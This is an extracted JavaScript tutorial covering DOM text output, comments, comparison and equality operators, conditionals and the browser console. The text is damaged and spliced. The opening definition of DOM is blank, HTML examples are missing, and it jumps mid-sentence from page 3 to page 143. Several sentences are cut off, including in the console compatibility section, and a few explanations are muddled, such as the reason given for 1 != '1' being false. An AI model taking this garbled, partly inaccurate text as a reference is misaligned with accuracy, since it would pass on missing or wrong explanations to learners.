DOM stands for . It is an object-oriented representation of structured documents like XML and HTML.

Setting the textContent property of an Element is one way to output text on a web page.

For example, consider the following HTML tag:

To change its textContent property, we can run the following JavaScript:

document.getElementById("paragraph").textContent = "Hello, World";

This will select the element that with the id paragraph and set its text content to "Hello, World":

Hello, World

(See also this demo)

You can also use JavaScript to create a new HTML element programmatically. For example, consider an HTML document with the following body:

Adding an element

In our JavaScript, we create a new

tag with a textContent property of and add it at the end of the html body:

var element = document.createElement('p'); element.textContent = "Hello, World"; document.body.appendChild(element); //add the newly created element to the DOM

That will change your HTML body to the following:

https://riptutorial.com/ 3

Adding an element

Hello, World

Note that in order to manipulate elements in the DOM using JavaScript, the JavaScript code must be run after the relevant element has been created in the document. This can be achieved by putting the JavaScript

An HTML closing comment can also be used in JavaScript (independent of an opening comment) at the beginning of a line (optionally preceded by whitespace) in which case it too causes the rest of the line to be ignored:

--> Unreachable JS code

These facts have also been exploited to allow a page to call itself first as HTML and secondly as JavaScript. For example:

When run a HTML, all the multiline text between the comments are ignored, so the JavaScript contained therein is ignored when run as HTML.

As JavaScript, however, while the lines beginning with are ignored, their effect is not to escape over multiple lines, so the lines following them (e.g., self.postMessage(...) will not be ignored when run as JavaScript, at least until they reach a JavaScript comment, marked by /* and */ https://riptutorial.com/ 143 . Such JavaScript comments are used in the above example to ignore the remaining HTML text (until the --> which is also ignored as JavaScript).

Read Comments online: https://riptutorial.com/javascript/topic/2259/comments

https://riptutorial.com/ 144 Chapter 21: Comparison Operations

Remarks

When using boolean coercion, the following values are considered "falsy":

• false • 0 • "" (empty string) • null • undefined • NaN (not a number, e.g. 0/0) • document.all¹ (browser context)

Everything else is considered "truthy".

¹ willful violation of the ECMAScript specification

Examples

Logic Operators with Booleans

var x = true, y = false;

AND

This operator will return true if both of the expressions evaluate to true. This boolean operator will employ short-circuiting and will not evaluate y if x evaluates to false.

x && y;

This will return false, because y is false.

OR

This operator will return true if one of the two expressions evaluate to true. This boolean operator will employ short-circuiting and y will not be evaluated if x evaluates to true.

x || y;

This will return true, because x is true.

NOT https://riptutorial.com/ 145 This operator will return false if the expression on the right evaluates to true, and return true if the expression on the right evaluates to false.

!x;

This will return false, because x is true.

Abstract Equality (==)

Operands of the abstract equality operator are compared after being converted to a common type. How this conversion happens is based on the specification of the operator:

Specification for the == operator:

7.2.13 Abstract Equality Comparison

The comparison x == y, where x and y are values, produces true or false. Such a comparison is performed as follows:

1. If Type(x) is the same as Type(y), then:

• a. Return the result of performing Strict Equality Comparison x === y.

2. If x is null and y is undefined, return true. 3. If x is undefined and y is null, return true. 4. If Type(x) is Number and Type(y) is String, return the result of the comparison x == ToNumber(y). 5. If Type(x) is String and Type(y) is Number, return the result of the comparison ToNumber(x) == y. 6. If Type(x) is Boolean, return the result of the comparison ToNumber(x) == y. 7. If Type(y) is Boolean, return the result of the comparison x == ToNumber(y). 8. If Type(x) is either String, Number, or Symbol and Type(y) is Object, return the result of the comparison x == ToPrimitive(y). 9. If Type(x) is Object and Type(y) is either String, Number, or Symbol, return the result of the comparison ToPrimitive(x) == y. 10. Return false.

Examples:

1 == 1; // true 1 == true; // true (operand converted to number: true => 1) 1 == '1'; // true (operand converted to number: '1' => 1 ) 1 == '1.00'; // true 1 == '1.00000000001'; // false 1 == '1.00000000000000001'; // true (true due to precision loss) null == undefined; // true (spec #2) 1 == 2; // false 0 == false; // true 0 == undefined; // false https://riptutorial.com/ 146 0 == ""; // true

Relational operators (<, <=, >, >=)

When both operands are numeric, they are compared normally:

1 < 2 // true 2 <= 2 // true 3 >= 5 // false true < false // false (implicitly converted to numbers, 1 > 0)

When both operands are strings, they are compared lexicographically (according to alphabetical order):

'a' < 'b' // true '1' < '2' // true '100' > '12' // false ('100' is less than '12' lexicographically!)

When one operand is a string and the other is a number, the string is converted to a number before comparison:

'1' < 2 // true '3' > 2 // true true > '2' // false (true implicitly converted to number, 1 < 2)

When the string is non-numeric, numeric conversion returns NaN (not-a-number). Comparing with NaN always returns false:

1 < 'abc' // false 1 > 'abc' // false

But be careful when comparing a numeric value with null, undefined or empty strings:

1 > '' // true 1 < '' // false 1 > null // true 1 < null // false 1 > undefined // false 1 < undefined // false

When one operand is a object and the other is a number, the object is converted to a number before comparison.So null is particular case because Number(null);//0

new Date(2015)< 1479480185280 // true null > -1 //true ({toString:function(){return 123}}) > 122 //true

Inequality

Operator != is the inverse of the == operator. https://riptutorial.com/ 147 Will return true if the operands aren't equal. The javascript engine will try and convert both operands to matching types if they aren't of the same type. Note: if the two operands have different internal references in memory, then false will be returned.

Sample:

1 != '1' // false 1 != 2 // true

In the sample above, 1 != '1' is false because, a primitive number type is being compared to a char value. Therefore, the Javascript engine doesn't care about the datatype of the R.H.S value.

Operator: !== is the inverse of the === operator. Will return true if the operands are not equal or if their types do not match.

Example:

1 !== '1' // true 1 !== 2 // true 1 !== 1 // false

Logic Operators with Non-boolean values (boolean coercion)

Logical OR (||), reading left to right, will evaluate to the first truthy value. If no truthy value is found, the last value is returned.

var a = 'hello' || ''; // a = 'hello' var b = '' || []; // b = [] var c = '' || undefined; // c = undefined var d = 1 || 5; // d = 1 var e = 0 || {}; // e = {} var f = 0 || '' || 5; // f = 5 var g = '' || 'yay' || 'boo'; // g = 'yay'

Logical AND (&&), reading left to right, will evaluate to the first falsy value. If no falsey value is found, the last value is returned.

var a = 'hello' && ''; // a = '' var b = '' && []; // b = '' var c = undefined && 0; // c = undefined var d = 1 && 5; // d = 5 var e = 0 && {}; // e = 0 var f = 'hi' && [] && 'done'; // f = 'done' var g = 'bye' && undefined && 'adios'; // g = undefined

This trick can be used, for example, to set a default value to a function argument (prior to ES6).

var foo = function(val) { // if val evaluates to falsey, 'default' will be returned instead. return val || 'default'; https://riptutorial.com/ 148 }

console.log( foo('burger') ); // burger console.log( foo(100) ); // 100 console.log( foo([]) ); // [] console.log( foo(0) ); // default console.log( foo(undefined) ); // default

Just keep in mind that for arguments, 0 and (to a lesser extent) the empty string are also often valid values that should be able to be explicitly passed and override a default, which, with this pattern, they won’t (because they are falsy).

Null and Undefined

The differences between null and undefined null and undefined share abstract equality == but not strict equality ===,

null == undefined // true null === undefined // false

They represent slightly different things:

• undefined represents the absence of a value, such as before an identifier/Object property has been created or in the period between identifier/Function parameter creation and it's first set, if any. • null represents the intentional absence of a value for an identifier or property which has already been created.

They are different types of syntax:

• undefined is a property of the global Object, usually immutable in the global scope. This means anywhere you can define an identifier other than in the global namespace could hide undefined from that scope (although things can still be undefined) • null is a word literal, so it's meaning can never be changed and attempting to do so will throw an Error.

The similarities between null and undefined null and undefined are both falsy.

if (null) console.log("won't be logged"); if (undefined) console.log("won't be logged");

Neither null or undefined equal false (see this question).

false == undefined // false https://riptutorial.com/ 149 false == null // false false === undefined // false false === null // false

Using undefined

• If the current scope can't be trusted, use something which evaluates to undefined, for example void 0;. • If undefined is shadowed by another value, it's just as bad as shadowing Array or Number. • Avoid setting something as undefined. If you want to remove a property bar from an Object foo, delete foo.bar; instead. • Existence testing identifier foo against undefined could throw a Reference Error, use typeof foo against "undefined" instead.

NaN Property of the Global Object

NaN ("Not a Number") is a special value defined by the IEEE Standard for Floating-Point Arithmetic, which is used when a non-numeric value is provided but a number is expected (1 * "two"), or when a calculation doesn't have a valid number result (Math.sqrt(-1)).

Any equality or relational comparisons with NaN returns false, even comparing it with itself. Because, NaN is supposed to denote the result of a nonsensical computation, and as such, it isn’t equal to the result of any other nonsensical computations.

(1 * "two") === NaN //false

NaN === 0; // false NaN === NaN; // false Number.NaN === NaN; // false

NaN < 0; // false NaN > 0; // false NaN > 0; // false NaN >= NaN; // false NaN >= 'two'; // false

Non-equal comparisons will always return true:

NaN !== 0; // true NaN !== NaN; // true

Checking if a value is NaN

6

You can test a value or expression for NaN by using the function Number.isNaN():

https://riptutorial.com/ 150 Number.isNaN(NaN); // true Number.isNaN(0 / 0); // true Number.isNaN('str' - 12); // true

Number.isNaN(24); // false Number.isNaN('24'); // false Number.isNaN(1 / 0); // false Number.isNaN(Infinity); // false

Number.isNaN('str'); // false Number.isNaN(undefined); // false Number.isNaN({}); // false

6

You can check if a value is NaN by comparing it with itself:

value !== value; // true for NaN, false for any other value

You can use the following polyfill for Number.isNaN():

Number.isNaN = Number.isNaN || function(value) { return value !== value; }

By contrast, the global function isNaN() returns true not only for NaN, but also for any value or expression that cannot be coerced into a number:

isNaN(NaN); // true isNaN(0 / 0); // true isNaN('str' - 12); // true

isNaN(24); // false isNaN('24'); // false isNaN(Infinity); // false

isNaN('str'); // true isNaN(undefined); // true isNaN({}); // true

ECMAScript defines a “sameness” algorithm called SameValue which, since ECMAScript 6, can be invoked with Object.is. Unlike the == and === comparison, using Object.is() will treat NaN as identical with itself (and -0 as not identical with +0):

Object.is(NaN, NaN) // true Object.is(+0, 0) // false

NaN === NaN // false +0 === 0 // true

6

You can use the following polyfill for Object.is() (from MDN):

https://riptutorial.com/ 151 if (!Object.is) { Object.is = function(x, y) { // SameValue algorithm if (x === y) { // Steps 1-5, 7-10 // Steps 6.b-6.e: +0 != -0 return x !== 0 || 1 / x === 1 / y; } else { // Step 6.a: NaN == NaN return x !== x && y !== y; } }; }

Points to note

NaN itself is a number, meaning that it does not equal to the string "NaN", and most importantly (though perhaps unintuitively):

typeof(NaN) === "number"; //true

Short-circuiting in boolean operators

The and-operator (&&) and the or-operator (||) employ short-circuiting to prevent unnecessary work if the outcome of the operation does not change with the extra work.

In x && y, y will not be evaluated if x evaluates to false, because the whole expression is guaranteed to be false.

In x || y, y will not be evaluated if x evaluated to true, because the whole expression is guaranteed to be true.

Example with functions

Take the following two functions:

function T() { // True console.log("T"); return true; }

function F() { // False console.log("F"); return false; }

Example 1

T() && F(); // false

Output: https://riptutorial.com/ 152 'T' 'F'

Example 2

F() && T(); // false

Output:

'F'

Example 3

T() || F(); // true

Output:

'T'

Example 4

F() || T(); // true

Output:

'F' 'T'

Short-circuiting to prevent errors

var obj; // object has value of undefined if(obj.property){ }// TypeError: Cannot read property 'property' of undefined if(obj.property && obj !== undefined){}// Line A TypeError: Cannot read property 'property' of undefined

Line A: if you reverse the order the first conditional statement will prevent the error on the second by not executing it if it would throw the error

if(obj !== undefined && obj.property){}; // no error thrown

But should only be used if you expect undefined

if(typeof obj === "object" && obj.property){}; // safe option but slower

Short-circuiting to provide a default value

The || operator can be used to select either a "truthy" value, or the default value.

https://riptutorial.com/ 153 For example, this can be used to ensure that a nullable value is converted to a non-nullable value:

var nullableObj = null; var obj = nullableObj || {}; // this selects {}

var nullableObj2 = {x: 5}; var obj2 = nullableObj2 || {} // this selects {x: 5}

Or to return the first truthy value

var truthyValue = {x: 10}; return truthyValue || {}; // will return {x: 10}

The same can be used to fall back multiple times:

envVariable || configValue || defaultConstValue // select the first "truthy" of these

Short-circuiting to call an optional function

The && operator can be used to evaluate a callback, only if it is passed:

function myMethod(cb) { // This can be simplified if (cb) { cb(); }

// To this cb && cb(); }

Of course, the test above does not validate that cb is in fact a function and not just an Object/Array/ String/Number.

Abstract equality / inequality and type conversion

The Problem

The abstract equality and inequality operators (== and !=) convert their operands if the operand types do not match. This type coercion is a common source of confusion about the results of these operators, in particular, these operators aren't always transitive as one would expect.

"" == 0; // true A 0 == "0"; // true A "" == "0"; // false B false == 0; // true false == "0"; // true

"" != 0; // false A 0 != "0"; // false A "" != "0"; // true B https://riptutorial.com/ 154 false != 0; // false false != "0"; // false

The results start to make sense if you consider how JavaScript converts empty strings to numbers.

Number(""); // 0 Number("0"); // 0 Number(false); // 0

The Solution

In the statement false B, both the operands are strings ("" and "0"), hence there will be no type conversion and since "" and "0" are not the same value, "" == "0" is false as expected.

One way to eliminate unexpected behavior here is making sure that you always compare operands of the same type. For example, if you want the results of numerical comparison use explicit conversion:

var test = (a,b) => Number(a) == Number(b); test("", 0); // true; test("0", 0); // true test("", "0"); // true; test("abc", "abc"); // false as operands are not numbers

Or, if you want string comparison:

var test = (a,b) => String(a) == String(b); test("", 0); // false; test("0", 0); // true test("", "0"); // false;

Side-note: Number("0") and new Number("0") isn't the same thing! While the former performs a type conversion, the latter will create a new object. Objects are compared by reference and not by value which explains the results below.

Number("0") == Number("0"); // true; new Number("0") == new Number("0"); // false

Finally, you have the option to use strict equality and inequality operators which will not perform any implicit type conversions.

"" === 0; // false 0 === "0"; // false "" === "0"; // false

Further reference to this topic can be found here:

Which equals operator (== vs ===) should be used in JavaScript comparisons?.

Abstract Equality (==) https://riptutorial.com/ 155 Empty Array

/* ToNumber(ToPrimitive([])) == ToNumber(false) */ [] == false; // true

When [].toString() is executed it calls [].join() if it exists, or Object.prototype.toString() otherwise. This comparison is returning true because [].join() returns '' which, coerced into 0, is equal to false ToNumber.

Beware though, all objects are truthy and Array is an instance of Object:

// Internally this is evaluated as ToBoolean([]) === true ? 'truthy' : 'falsy' [] ? 'truthy' : 'falsy'; // 'truthy'

Equality comparison operations

JavaScript has four different equality comparison operations.

SameValue

It returns true if both operands belong to the same Type and are the same value.

Note: the value of an object is a reference.

You can use this comparison algorithm via Object.is (ECMAScript 6).

Examples:

Object.is(1, 1); // true Object.is(+0, -0); // false Object.is(NaN, NaN); // true Object.is(true, "true"); // false Object.is(false, 0); // false Object.is(null, undefined); // false Object.is(1, "1"); // false Object.is([], []); // false

This algorithm has the properties of an equivalence relation:

• Reflexivity: Object.is(x, x) is true, for any value x • Symmetry: Object.is(x, y) is true if, and only if, Object.is(y, x) is true, for any values x and y. • Transitivity: If Object.is(x, y) and Object.is(y, z) are true, then Object.is(x, z) is also true, for any values x, y and z.

SameValueZero

It behaves like SameValue, but considers +0 and -0 to be equal. https://riptutorial.com/ 156 You can use this comparison algorithm via Array.prototype.includes (ECMAScript 7).

Examples:

[1].includes(1); // true [+0].includes(-0); // true [NaN].includes(NaN); // true [true].includes("true"); // false [false].includes(0); // false [1].includes("1"); // false [null].includes(undefined); // false [[]].includes([]); // false

This algorithm still has the properties of an equivalence relation:

• Reflexivity: [x].includes(x) is true, for any value x • Symmetry: [x].includes(y) is true if, and only if, [y].includes(x) is true, for any values x and y. • Transitivity: If [x].includes(y) and [y].includes(z) are true, then [x].includes(z) is also true, for any values x, y and z.

Strict Equality Comparison

It behaves like SameValue, but

• Considers +0 and -0 to be equal. • Considers NaN different than any value, including itself

You can use this comparison algorithm via the === operator (ECMAScript 3).

There is also the !== operator (ECMAScript 3), which negates the result of ===.

Examples:

1 === 1; // true +0 === -0; // true NaN === NaN; // false true === "true"; // false false === 0; // false 1 === "1"; // false null === undefined; // false [] === []; // false

This algorithm has the following properties:

• Symmetry: x === y is true if, and only if, y === xistrue, for any valuesxandy`. • Transitivity: If x === y and y === z are true, then x === z is also true, for any values x, y and z.

But is not an equivalence relation because

• NaN is not reflexive: NaN !== NaN

https://riptutorial.com/ 157 Abstract Equality Comparison

If both operands belong to the same Type, it behaves like the Strict Equality Comparison.

Otherwise, it coerces them as follows:

• undefined and null are considered to be equal • When comparing a number with a string, the string is coerced to a number • When comparing a boolean with something else, the boolean is coerced to a number • When comparing an object with a number, string or symbol, the object is coerced to a primitive

If there was a coercion, the coerced values are compared recursively. Otherwise the algorithm returns false.

You can use this comparison algorithm via the == operator (ECMAScript 1).

There is also the != operator (ECMAScript 1), which negates the result of ==.

Examples:

1 == 1; // true +0 == -0; // true NaN == NaN; // false true == "true"; // false false == 0; // true 1 == "1"; // true null == undefined; // true [] == []; // false

This algorithm has the following property:

• Symmetry: x == y is true if, and only if, y == x is true, for any values x and y.

But is not an equivalence relation because

• NaN is not reflexive: NaN != NaN • Transitivity does not hold, e.g. 0 == '' and 0 == '0', but '' != '0'

Grouping multiple logic statements

You can group multiple boolean logic statements within parenthesis in order to create a more complex logic evaluation, especially useful in if statements.

if ((age >= 18 && height >= 5.11) || (status === 'royalty' && hasInvitation)) { console.log('You can enter our club'); }

We could also move the grouped logic to variables to make the statement a bit shorter and descriptive: https://riptutorial.com/ 158 var isLegal = age >= 18; var tall = height >= 5.11; var suitable = isLegal && tall; var isRoyalty = status === 'royalty'; var specialCase = isRoyalty && hasInvitation; var canEnterOurBar = suitable || specialCase;

if (canEnterOurBar) console.log('You can enter our club');

Notice that in this particular example (and many others), grouping the statements with parenthesis works the same as if we removed them, just follow a linear logic evaluation and you'll find yourself with the same result. I do prefer using parenthesis as it allows me to understand clearer what I intended and might prevent for logic mistakes.

Automatic Type Conversions

Beware that numbers can accidentally be converted to strings or NaN (Not a Number).

JavaScript is loosely typed. A variable can contain different data types, and a variable can change its data type:

var x = "Hello"; // typeof x is a string x = 5; // changes typeof x to a number

When doing mathematical operations, JavaScript can convert numbers to strings:

var x = 5 + 7; // x.valueOf() is 12, typeof x is a number var x = 5 + "7"; // x.valueOf() is 57, typeof x is a string var x = "5" + 7; // x.valueOf() is 57, typeof x is a string var x = 5 - 7; // x.valueOf() is -2, typeof x is a number var x = 5 - "7"; // x.valueOf() is -2, typeof x is a number var x = "5" - 7; // x.valueOf() is -2, typeof x is a number var x = 5 - "x"; // x.valueOf() is NaN, typeof x is a number

Subtracting a string from a string, does not generate an error but returns NaN (Not a Number):

"Hello" - "Dolly" // returns NaN

List of Comparison Operators

Operator Comparison Example

== Equal i == 0

=== Equal Value and Type i === "5"

!= Not Equal i != 5

!== Not Equal Value or Type i !== 5

> Greater than i > 5 https://riptutorial.com/ 159 Operator Comparison Example

< Less than i < 5

>= Greater than or equal i >= 5

<= Less than or equal i <= 5

Bit fields to optimise comparison of multi state data

A bit field is a variable that holds various boolean states as individual bits. A bit on would represent true, and off would be false. In the past bit fields were routinely used as they saved memory and reduced processing load. Though the need to use bit field is no longer so important they do offer some benefits that can simplify many processing tasks.

For example user input. When getting input from a keyboard's direction keys up, down, left,right you can encode the various keys into a single variable with each direction assigned a bit.

Example reading keyboard via bitfield

var bitField = 0; // the value to hold the bits const KEY_BITS = [4,1,8,2]; // left up right down const KEY_MASKS = [0b1011,0b1110,0b0111,0b1101]; // left up right down window.onkeydown = window.onkeyup = function (e) { if(e.keyCode >= 37 && e.keyCode <41){ if(e.type === "keydown"){ bitField |= KEY_BITS[e.keyCode - 37]; }else{ bitField &= KEY_MASKS[e.keyCode - 37]; } } }

Example reading as an array

var directionState = [false,false,false,false]; window.onkeydown = window.onkeyup = function (e) { if(e.keyCode >= 37 && e.keyCode <41){ directionState[e.keyCode - 37] = e.type === "keydown"; } }

To turn on a bit use bitwise or | and the value corresponding to the bit. So if you wish to set the 2nd bit bitField |= 0b10 will turn it on. If you wish to turn a bit off use bitwise and & with a value that has all by the required bit on. Using 4 bits and turning the 2nd bit off bitfield &= 0b1101;

You may say the above example seems a lot more complex than assigning the various key states to a array. Yes It is a little more complex to set but the advantage comes when interrogating the state.

If you want to test if all keys are up.

https://riptutorial.com/ 160 // as bit field if(!bitfield) // no keys are on

// as array test each item in array if(!(directionState[0] && directionState[1] && directionState[2] && directionState[3])){

You can set some constants to make things easier

// postfix U,D,L,R for Up down left right const KEY_U = 1; const KEY_D = 2; const KEY_L = 4; const KEY_R = 8; const KEY_UL = KEY_U + KEY_L; // up left const KEY_UR = KEY_U + KEY_R; // up Right const KEY_DL = KEY_D + KEY_L; // down left const KEY_DR = KEY_D + KEY_R; // down right

You can then quickly test for many various keyboard states

if ((bitfield & KEY_UL) === KEY_UL) { // is UP and LEFT only down if (bitfield & KEY_UL) { // is Up left down if ((bitfield & KEY_U) === KEY_U) { // is Up only down if (bitfield & KEY_U) { // is Up down (any other key may be down) if (!(bitfield & KEY_U)) { // is Up up (any other key may be down) if (!bitfield ) { // no keys are down if (bitfield ) { // any one or more keys are down

The keyboard input is just one example. Bitfields are useful when you have various states that must in combination be acted on. Javascript can use upto 32 bits for a bit field. Using them can offer significant performance increases. They are worth being familiar with.

Read Comparison Operations online: https://riptutorial.com/javascript/topic/208/comparison- operations

https://riptutorial.com/ 161 Chapter 22: Conditions

Introduction

Conditional expressions, involving keywords such as if and else, provide JavaScript programs with the ability to perform different actions depending on a Boolean condition: true or false. This section covers the use of JavaScript conditionals, Boolean logic, and ternary statements.

Syntax

• if (condition) statement; • if (condition) statement_1, statement_2, ..., statement_n; • if (condition) { statement } • if (condition) { statement_1; statement_2; ... statement_n; } • if (condition) { statement } else { statement } • if (condition) { statement } else if (condition) { statement } else { statement } • switch (expression) { case value1: statement [break;] case value2: statement [break;] case valueN: statement [break;] default: https://riptutorial.com/ 162 statement [break;] } • condition ? value_for_true : value_for_false;

Remarks

Conditions can break normal program flow by executing code based on the value of an expression. In JavaScript, this means using if, else if and else statements and ternary operators.

Examples

If / Else If / Else Control

In its most simple form, an if condition can be used like this:

var i = 0;

if (i < 1) { console.log("i is smaller than 1"); }

The condition i < 1 is evaluated, and if it evaluates to true the block that follows is executed. If it evaluates to false, the block is skipped.

An if condition can be expanded with an else block. The condition is checked once as above, and if it evaluates to false a secondary block will be executed (which would be skipped if the condition were true). An example:

if (i < 1) { console.log("i is smaller than 1"); } else { console.log("i was not smaller than 1"); }

Supposing the else block contains nothing but another if block (with optionally an else block) like this:

if (i < 1) { console.log("i is smaller than 1"); } else { if (i < 2) { console.log("i is smaller than 2"); } else { console.log("none of the previous conditions was true"); } }

Then there is also a different way to write this which reduces nesting:

https://riptutorial.com/ 163 if (i < 1) { console.log("i is smaller than 1"); } else if (i < 2) { console.log("i is smaller than 2"); } else { console.log("none of the previous conditions was true"); }

Some important footnotes about the above examples:

• If any one condition evaluated to true, no other condition in that chain of blocks will be evaluated, and all corresponding blocks (including the else block) will not be executed.

• The number of else if parts is practically unlimited. The last example above only contains one, but you can have as many as you like.

• The condition inside an if statement can be anything that can be coerced to a boolean value, see the topic on boolean logic for more details;

• The if-else-if ladder exits at the first success. That is, in the example above, if the value of i is 0.5 then the first branch is executed. If the conditions overlap, the first criteria occurring in the flow of execution is executed. The other condition, which could also be true is ignored.

• If you have only one statement, the braces around that statement are technically optional, e.g this is fine:

if (i < 1) console.log("i is smaller than 1");

And this will work as well:

if (i < 1) console.log("i is smaller than 1");

If you want to execute multiple statements inside an if block, then the curly braces around them are mandatory. Only using indentation isn't enough. For example, the following code:

if (i < 1) console.log("i is smaller than 1"); console.log("this will run REGARDLESS of the condition"); // Warning, see text!

is equivalent to:

if (i < 1) { console.log("i is smaller than 1"); } console.log("this will run REGARDLESS of the condition");

Switch statement

Switch statements compare the value of an expression against 1 or more values and executes https://riptutorial.com/ 164 different sections of code based on that comparison.

var value = 1; switch (value) { case 1: console.log('I will always run'); break; case 2: console.log('I will never run'); break; }

The break statement "breaks" out of the switch statement and ensures no more code within the switch statement is executed. This is how sections are defined and allows the user to make "fall through" cases.

Warning: lack of a break or return statement for each case means the program will continue to evaluate the next case, even if the case criteria is unmet!

switch (value) { case 1: console.log('I will only run if value === 1'); // Here, the code "falls through" and will run the code under case 2 case 2: console.log('I will run if value === 1 or value === 2'); break; case 3: console.log('I will only run if value === 3'); break; }

The last case is the default case. This one will run if no other matches were made.

var animal = 'Lion'; switch (animal) { case 'Dog': console.log('I will not run since animal !== "Dog"'); break; case 'Cat': console.log('I will not run since animal !== "Cat"'); break; default: console.log('I will run since animal does not match any other case'); }

It should be noted that a case expression can be any kind of expression. This means you can use comparisons, function calls, etc. as case values.

function john() { return 'John'; }

function jacob() { return 'Jacob'; } https://riptutorial.com/ 165

switch (name) { case john(): // Compare name with the return value of john() (name == "John") console.log('I will run if name === "John"'); break; case 'Ja' + 'ne': // Concatenate the strings together then compare (name == "Jane") console.log('I will run if name === "Jane"'); break; case john() + ' ' + jacob() + ' Jingleheimer Schmidt': console.log('His name is equal to name too!'); break; }

Multiple Inclusive Criteria for Cases

Since cases "fall through" without a break or return statement, you can use this to create multiple inclusive criteria:

var x = "c" switch (x) { case "a": case "b": case "c": console.log("Either a, b, or c was selected."); break; case "d": console.log("Only d was selected."); break; default: console.log("No case was matched."); break; // precautionary break if case order changes }

Ternary operators

Can be used to shorten if/else operations. This comes in handy for returning a value quickly (i.e. in order to assign it to another variable).

For example:

var animal = 'kitty'; var result = (animal === 'kitty') ? 'cute' : 'still nice';

In this case, result gets the 'cute' value, because the value of animal is 'kitty'. If animal had another value, result would get the 'still nice' value.

Compare this to what the code would like with if/else conditions.

var animal = 'kitty'; var result = ''; if (animal === 'kitty') { result = 'cute'; https://riptutorial.com/ 166 } else { result = 'still nice'; }

The if or else conditions may have several operations. In this case the operator returns the result of the last expression.

var a = 0; var str = 'not a'; var b = ''; b = a === 0 ? (a = 1, str += ' test') : (a = 2);

Because a was equal to 0, it becomes 1, and str becomes 'not a test'. The operation which involved str was the last, so b receives the result of the operation, which is the value contained in str, i.e. 'not a test'.

Ternary operators always expect else conditions, otherwise you'll get a syntax error. As a workaround you could return a zero something similar in the else branch - this doesn't matter if you aren't using the return value but just shortening (or attempting to shorten) the operation.

var a = 1; a === 1 ? alert('Hey, it is 1!') : 0;

As you see, if (a === 1) alert('Hey, it is 1!'); would do the same thing. It would be just a char longer, since it doesn't need an obligatory else condition. If an else condition was involved, the ternary method would be much cleaner.

a === 1 ? alert('Hey, it is 1!') : alert('Weird, what could it be?'); if (a === 1) alert('Hey, it is 1!') else alert('Weird, what could it be?');

Ternaries can be nested to encapsulate additional logic. For example

foo ? bar ? 1 : 2 : 3

// To be clear, this is evaluated left to right // and can be more explicitly expressed as:

foo ? (bar ? 1 : 2) : 3

This is the same as the following if/else

if (foo) { if (bar) { 1 } else { 2 } } else { 3 }

https://riptutorial.com/ 167 Stylistically this should only be used with short variable names, as multi-line ternaries can drastically decrease readability.

The only statements which cannot be used in ternaries are control statements. For example, you cannot use return or break with ternaries. The following expression will be invalid.

var animal = 'kitty'; for (var i = 0; i < 5; ++i) { (animal === 'kitty') ? break:console.log(i); }

For return statements, the following would also be invalid:

var animal = 'kitty'; (animal === 'kitty') ? return 'meow' : return 'woof';

To do the above properly, you would return the ternary as follows:

var animal = 'kitty'; return (animal === 'kitty') ? 'meow' : 'woof';

Strategy

A strategy pattern can be used in Javascript in many cases to replace a switch statement. It is especially helpful when the number of conditions is dynamic or very large. It allows the code for each condition to be independent and separately testable.

Strategy object is simple an object with multiple functions, representing each separate condition. Example:

const AnimalSays = { dog () { return 'woof'; },

cat () { return 'meow'; },

lion () { return 'roar'; },

// ... other animals

default () { return 'moo'; } };

The above object can be used as follows:

https://riptutorial.com/ 168 function makeAnimalSpeak (animal) { // Match the animal by type const speak = AnimalSays[animal] || AnimalSays.default; console.log(animal + ' says ' + speak()); }

Results:

makeAnimalSpeak('dog') // => 'dog says woof' makeAnimalSpeak('cat') // => 'cat says meow' makeAnimalSpeak('lion') // => 'lion says roar' makeAnimalSpeak('snake') // => 'snake says moo'

In the last case, our default function handles any missing animals.

Using || and && short circuiting

The Boolean operators || and && will "short circuit" and not evaluate the second parameter if the first is true or false respectively. This can be used to write short conditionals like:

var x = 10

x == 10 && alert("x is 10") x == 10 || alert("x is not 10")

Read Conditions online: https://riptutorial.com/javascript/topic/221/conditions

https://riptutorial.com/ 169 Chapter 23: Console

Introduction

A browser's debugging console or web console is generally used by developers to identify errors, understand flow of execution, log data and for many other purpose at runtime. This information is accessed through the console object.

Syntax

• void console.log(obj1 [, obj2, ..., objN]); • void console.log(msg [, sub1, ..., subN]);

Parameters

Parameter Description

A list of JavaScript objects whose string representations are outputted in the obj1 ... objN console

msg A JavaScript string containing zero or more substitution strings.

sub1 ... JavaScript objects with which to replace substitution strings within msg. subN

Remarks

The information displayed by a debugging/web console is made available through the multiple methods of the console Javascript object that can be consulted through console.dir(console). Besides the console.memory property, the methods displayed are generally the following (taken from Chromium's output):

• assert • clear • count • debug • dir • dirxml • error • group • groupCollapsed • groupEnd • info https://riptutorial.com/ 170 • log • markTimeline • profile • profileEnd • table • time • timeEnd • timeStamp • timeline • timelineEnd • trace • warn Opening the Console

In most current browsers, the JavaScript Console has been integrated as a tab within Developer Tools. The shortcut keys listed below will open Developer Tools, it might be necessary to switch to the right tab after that.

Chrome

Opening the “Console” panel of Chrome’s DevTools:

• Windows / Linux: any of the following options.

○ Ctrl + Shift + J

○ Ctrl + Shift + I, then click on the “Web Console” tab or press ESC to toggle the console on and off

○ F12, then click on the “Console” tab or press ESC to toggle the console on and off

• Mac OS: Cmd + Opt + J

Firefox

Opening the “Console” panel in Firefox’s Developer Tools:

• Windows / Linux: any of the following options.

○ Ctrl + Shift + K

○ Ctrl + Shift + I, then click on the “Web Console” tab or press ESC to toggle the console on and off

○ F12, then click on the “Web Console” tab or press ESC to toggle the console on and off

https://riptutorial.com/ 171 • Mac OS: Cmd + Opt + K

Edge and Internet Explorer

Opening the “Console” panel in the F12 Developer Tools:

• F12, then click on the “Console” tab

Safari

Opening the “Console” panel in Safari’s Web Inspector you must first enable the develop menu in Safari's Preferences

https://riptutorial.com/ 172 https://riptutorial.com/ 173

Then you can either pick "Develop->Show Error Console" from the menus or press + Option + C

Opera

Opening the “Console” in opera:

• Ctrl + Shift + I,then click on the “Console” tab

Compatibility When using or emulating Internet Explorer 8 or earlier versions (e.g. through Compatibility View /

if (typeof window.console !== 'undefined') Or at the start of your script you can identify if the console is available and if not, define a null func if (!window.console)

Note this second example will stop all console logs even if the developer window has been opened.

Using this second example will preclude use of other functions such as console.dir(obj) unless that is specifically added.

Examples

Tabulating values - console.table()

In most environments, console.table() can be used to display objects and arrays in a tabular format.

For example:

console.table(['Hello', 'world']); displays like:

(index) value

0 "Hello"

1 "world"

console.table({foo: 'bar', bar: 'baz'}); displays like:

(index) value

"foo" "bar"

